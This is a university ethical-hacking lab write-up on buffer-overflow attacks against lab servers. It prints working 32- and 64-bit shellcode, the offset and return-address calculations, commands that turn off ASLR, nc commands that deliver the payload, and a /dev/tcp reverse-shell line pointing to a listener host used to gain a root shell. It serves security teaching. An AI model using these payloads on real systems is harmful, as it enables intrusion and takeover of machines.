Buffer-overflow writeup

Ethical Hacking 2022/23, University of Padua

Eleonora Losiouk, Alessandro Brighente, Gabriele Orazi, Francesco Marchiori

1 Configuration

The environment has to be prepared using the command explained in the `readme`:

```
$ sudo sysctl -w kernel.randomize_va_space=0
```

2 Task 2

To complete the first task, you have first to copy/paste the shellcode code from the pdf file.

```
shellcode= (
  "\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b"
  "\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54"
  "\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff"
  "/bin/bash*"
  "-c*"
  "/bin/ls -l; echo Hello; /bin/tail -n 2 /etc/passwd          *"
  "AAAA" # Placeholder for argv[0] --> "/bin/bash"
  "BBBB" # Placeholder for argv[1] --> "-c"
  "CCCC" # Placeholder for argv[2] --> the command string
  "DDDD" # Placeholder for argv[3] --> NULL
).encode('latin-1')
```

Then, you have to identify the following information: the location to place the shellcode on the stack, the return address value which overwrites the previous one and the offset between the buffer and the return address. Both the return address value and the offset can be easily retrieved by relying on the information printed by the server. In fact, by interacting with the server, you can see that it prints out both the ebp address and the buffer address.

The standard approach to perform a shellcode attack is to place the shellcode somewhere on the stack after the return address. We know that we can write up to 517 bytes here and that the buffer is 100-byte long. We can thus place the shellcode at the end of the 517 bytes as follows.

```
content[517 - len(shellcode):] = shellcode
```

The return address value is calculated as the ebp address plus 8 bytes, while the offset as the difference between the two addresses plus 4 bytes. We add 8 bytes to the ebp address because we need to go after the location of ebp and of the return address to find the shellcode. Thus, we jump somewhere on the stack after the return address and we parse the whole stack until we find the shellcode previously placed there.

The offset is the difference between the ebp and the return address printed by the server. We add 4 bytes because we have to overwrite the return address.

```
ret = <ebp_address> + 8
offset = 112 + 4
```

The complete solution is provided in the exploit1.py file. You first have to generate the badfile and then to use it as input to the 10.9.0.5 server.

```
$ ./exploit-L1.py
$ cat badfile | nc 10.9.0.5 9090
```

To open a reverse shell, you just have to start a server by the following command

```
nc -lnv 7070
```

and then replace the command in the exploit-L1.py file.

```
"/bin/ls -l; echo Hello; /bin/tail -n 2 /etc/passwd          *"
```

into

```
"/bin/bash -i >/dev/tcp/10.9.0.1/7070 0<&1 2>&1              *"
```

---

3 Task 3

In the second task, we do not have the ebp address anymore, but we only have the buffer address and we know that its dimension ranges between 100 and 300 bytes. As before, we have to identify the proper location of the shellcode on the stack, the return address value and the location on the stack where the original return address value to be overwritten is located.

The shellcode is placed at the end of the 517 bytes as before.

```
content[517 - len(shellcode):] = shellcode
```

Concerning the return address value, we can try to jump somewhere after the buffer, considering its maximum dimension is 300 bytes.

```
ret = <buffer_address> + 300
```

Concerning the return address location on the stack, we do not have this information. One possible option is to write the new return address value in the whole buffer until we manage to overwrite the original value. In this case, we spray the buffer from 0 to 50*4.

```
for offset in range(50):
  content[offset*4:offset*4 + 4] = (ret).to_bytes(4,byteorder='little')
```

The complete solution is provided in the exploit2.py file. You first have to generate the badfile and then to use it as input to the 10.9.0.6 server.

```
$ ./exploit-L2.py
$ cat badfile | nc 10.9.0.6 9090
```

---

4 Task 4

The challenge of the third task is that we switch from a 32-bit architecture to a 64-bit one.

At first, we have to update the shellcode from a 32-bit architecture to a 64-bit one as follows:

```
shellcode= (
  "\xeb\x36\x5b\x48\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x48"
  "\x89\x5b\x48\x48\x8d\x4b\x0a\x48\x89\x4b\x50\x48\x8d\x4b\x0d\x48"
  "\x89\x4b\x58\x48\x89\x43\x60\x48\x89\xdf\x48\x8d\x73\x48\x48\x31"
  "\xd2\x48\x31\xc0\xb0\x3b\x0f\x05\xe8\xc5\xff\xff\xff"
  "/bin/bash*"
  "-c*"
  "/bin/ls -l; echo Hello; /bin/tail -n 2 /etc/passwd          *"
  "AAAAAAAA" # Placeholder for argv[0] --> "/bin/bash"
  "BBBBBBBB" # Placeholder for argv[1] --> "-c"
  "CCCCCCCC" # Placeholder for argv[2] --> the command string
  "DDDDDDDD" # Placeholder for argv[3] --> NULL
).encode('latin-1')
```

Then, we have to focus on the addresses printed by the server, since they contain some 0 values which would terminate the strcpy function. The idea here is to place the shellcode at the start of the buffer and to overwrite the return address to jump at that location.

The shellcode is placed close to the start of the buffer.

```
start = 40
content[start:start+len(shellcode)] = shellcode
```

The return address value is the buffer address printed by the server, while the offset is the difference between the two addresses plus 8 bytes (the return address location is 8 bytes away from the offset because we are in a 64-bit server).

The complete solution is provided in the exploit3.py file. You first have to generate the badfile and then to use it as input to the 10.9.0.7 server.

```
$ ./exploit-L3.py
$ cat badfile | nc 10.9.0.7 9090
```

5 Task 5

The new challenge in this task refers to buffer dimension which is too short to insert the shellcode. However, the shellcode is actually in the main function's stack frame, not in the bof's one. We can thus jump to the main function stack frame. By checking the stack.c source code we can see that there is a dummy_function between the bof and the main ones, which size is about 1000 bytes. We can, then, add 1200 bytes to the ebp address value printed by the server.

```
ret = <ebp_address> + 1200
```

As previously done, the offset is given by the difference between the two addresses plus 8 bytes.

The complete solution is provided in the exploit3.py file. You first have to generate the badfile and then to use it as input to the 10.9.0.8 server.

```
$ ./exploit-L4.py
$ cat badfile | nc 10.9.0.8 9090
```

6 Task 6

To defeat the countermeasure, we first have to enable them again through the folloing command

```
$ sudo sysctl -w kernel.randomize_va_space=2
```

Use the exploit-L1.py script to generate the badfile and make sure there is the reverse shell command, which is blocking. Then, run the brute_force.sh script. After 1 minute, you should see the program gets blocked and in the nc window, you should see the root shell from the target server.